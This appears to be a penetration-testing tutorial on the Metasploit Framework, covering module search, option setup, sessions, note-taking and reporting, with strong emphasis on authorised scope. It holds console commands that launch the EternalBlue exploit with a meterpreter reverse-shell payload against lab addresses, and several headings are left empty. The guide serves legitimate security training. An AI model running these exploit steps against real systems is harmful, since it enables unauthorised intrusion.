Metasploit Framework: Modules, Sessions, and Basic Workflows#

Why this topic matters: Metasploit is the workbench most testers open after they have a vulnerability, not before. Used as intended, it structures the post-exploitation work so the engagement stays auditable.

Ethics and scope: run modules only against systems you own or are authorized to test. An open port is not consent. For the class map behind the modules, see OWASP Top 10 notes.

What the Framework Is#

Metasploit is a collection of modules plus a console that runs them. It is not a magic switch; it is a catalog. The workflow is: search, pick, configure, run, then handle the session.

The Five Module Types#

A note on names#

Names encode a lot: exploit/windows/smb/ms17_010_eternalblue tells you the platform, the service, and the CVE. Search is more reliable when you use that structure.

Searching#

Copy code
search type:exploit platform:windows smb
search cve:2024 type:exploit

Search by CVE when you know the finding, by platform when you know the target, and by keyword when you know the bug class.

Configuring a Module#

Copy code
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.10
set LHOST 192.168.1.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp

The options list is the contract. Read it before you run anything.

Running and Handling Sessions#

Copy code
msf6 > exploit
[*] Meterpreter session 1 opened ...
meterpreter > sysinfo
meterpreter > getuid

A session is a claim to a machine you have permission on. Handle it like a finding: record what ran, when, and what it returned. Background sessions with background, list them with sessions, and keep the log.

Meterpreter Commands Worth Knowing#

Only run the commands your scope covers. A hash dump proves access; it is not a reason to copy pastes of the hashes into the report.

Notes and the Database#

Copy code
db_status
hosts
services -p 445
notes -a "smb signing off" -t "smb" 192.168.1.10

The database turns ad-hoc sessions into a queryable record. Use it; a Metasploit run with no notes is a story told from memory.

Auxiliary: Scanning Is Still Scanning#

Auxiliary modules enumerate services, check for CVEs, and fuzz. The ethics are identical to nmap or nuclei: scoped targets, rate limits, and one log per run.

Copy code
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run

A Workflow in One Screen#

1. Open a workspace: workspace -a client-2026-10.
2. Import scan data or run an auxiliary scan.
3. Search for a matching module, select it, check options.
4. Set the minimal options needed; no extras.
5. Run. Record the session and the output lines.
6. Background the session, tag it, continue the review.
7. Run post modules only if the scope names them.
8. Export notes before closing.

Recording a Session#

Copy code
2026-10-12 14:03  workspace client-2026-10
2026-10-12 14:11  ms17_010 confirm, RHOSTS 192.168.1.10, session 1
2026-10-12 14:12  sysinfo + getuid, windows 7 sp1, user=admin
2026-10-12 14:13  session backgrounded, note added: smb signing off

Four lines in, four lines of record. The client gets the CVE and the fix, not the footage.

Meterpreter Hygiene#

• Migrate to a long-lived process before doing real work.
• Do not leave sessions open after the test ends.
• Do not run anything that modifies the target without a written reason.
• Prefer shell-equivalent commands over raw interaction when you will forget which was which.

False Positives and False Confidence#

• A module "worked" but only crashed the service: not a clean exploit.
• A scanner says vulnerable; a probe says patched: record both and re-check.
• A session that spawned as SYSTEM in a lab is not evidence about production.
• AV signatures change what the module will survive; note the target's AV if you can.

Limits of Metasploit#

• It does not replace reading the advisory.
• It does not document your scope.
• It does not distinguish a lab from a production target.
• It will happily run a module on the wrong host; the scope file is your job.

Post-Exploitation Notes#

Post modules enumerate the local machine: users, shares, network neighbors, and installed software. Treat them as a checklist, not a scavenger hunt. The usual finding is one wrong permission on one share; the report should name that one permission.

One Finding, One Module, One Note#

Do not run a dozen modules to make a report look bigger. Pick the module that demonstrates the flaw, run it, record the output, and write the fix. The module's job is to prove the flaw; your job is to explain it.

Common Mistakes#

• Running modules from memory without show options.
• Forgetting set LHOST, then wondering why the session dies.
• Not recording which host got which session.
• Treating a scan as an exploit.

Reading Order Around This Topic#

• Class background: OWASP Top 10 notes.
• The web-side counterpart: web hacking 101.
• Proxy work that feeds this: Burp Suite basics.
• API side of the same checks: API access control test plan.
• Injection background: SQL injection notes.
• Client-side XSS siblings: XSS types compared.
• Unicode filter siblings: WAF and Unicode notes.
• Cloud targets: AWS testing notes.
• WordPress targets: WordPress attack surface.
• Mobile targets: mobile app testing notes.
• Network confirmation: Wireshark guide.
• Smart contract analogs: smart contract auditing.
• The roadmap framing: reading order.

Triage Table#

What the Report Needs#

• Target host and service.
• Module path and options used.
• Session output, trimmed.
• The post module that proved the claim.
• The fix, with a verification date.

Closing Notes#

Metasploit rewards structure: one workspace per engagement, one note per module run, one session per claim. The tool does not enforce that discipline. You do.

Between the Module and the Report#

The module produces output. The report needs three more things: the exact options, the exact session output, and the fix. Capture all four before the session closes, because sessions are the first thing that get cleared.

A Sample Run Log#

Copy code
workspace -a client-2026-10
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.1.0/24
run
# notes: three hosts with SMBv1 reachable
use exploit/windows/smb/ms17_010_eternalblue
show options
set RHOSTS 192.168.1.10
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
# session 1, windows 7, user=admin
sysinfo
getuid
background

A Note on Workspace Discipline#

One client per workspace. One engagement per project. The workspace file is the audit trail; the report is a summary of it. If the workspace cannot be tied to a client, the run should not have happened.

A Note on Sessions#

Sessions are the receipts. Record the exact command that produced each one. Two sessions on the same host are two claims, and the report should name both.

Quick Triage Table#

PSQL into the Next Step#

Once a session exists, the next question is permission. What can this session actually do? Enumerate with the least intrusive post module that answers the question, and stop when the answer is clear. The finding is the permission problem, not the number of commands you ran.

The Options Contract#

Read show options before every run. The defaults are tuned for the lab, and the required fields are the ones the report must cite. A module with the wrong payload or the wrong LHOST produces silence, not a failed test.

When a Module Is the Wrong Tool#

• The finding needs a screenshot of a panel; use the proxy.
• The finding needs a network capture; use Wireshark.
• The finding needs a source-code read; use a decompiler.
• The finding needs the customer's log; ask for it.

Scope File Habits#

• Keep one line per authorized host.
• Keep one line per out-of-scope host.
• Update the file when the scope changes, not after the run.
• Treat the file as the audit trail; the report is the summary.

One Rule for the Report#

Every claim names the module path, the options, and the session output. Anything else is a story.

Post Module Shortlist#

Minimal Post-Run Checklist#

Wrapping Notes#

Metasploit is a catalog and a record. Treat the module name as a citation and the session as evidence. The report stays small because the notes stayed exact.

The Point#

One workspace, one note per module, one session per claim. That is the discipline, and it is the whole reason a client meeting can start from the notes instead of from memory.

No Shortcuts#

• No module run without show options.
• No session without a workspace.
• No post module outside the scope.
• No report line without the options.

Four rules, and the tooling stays useful instead of noisy.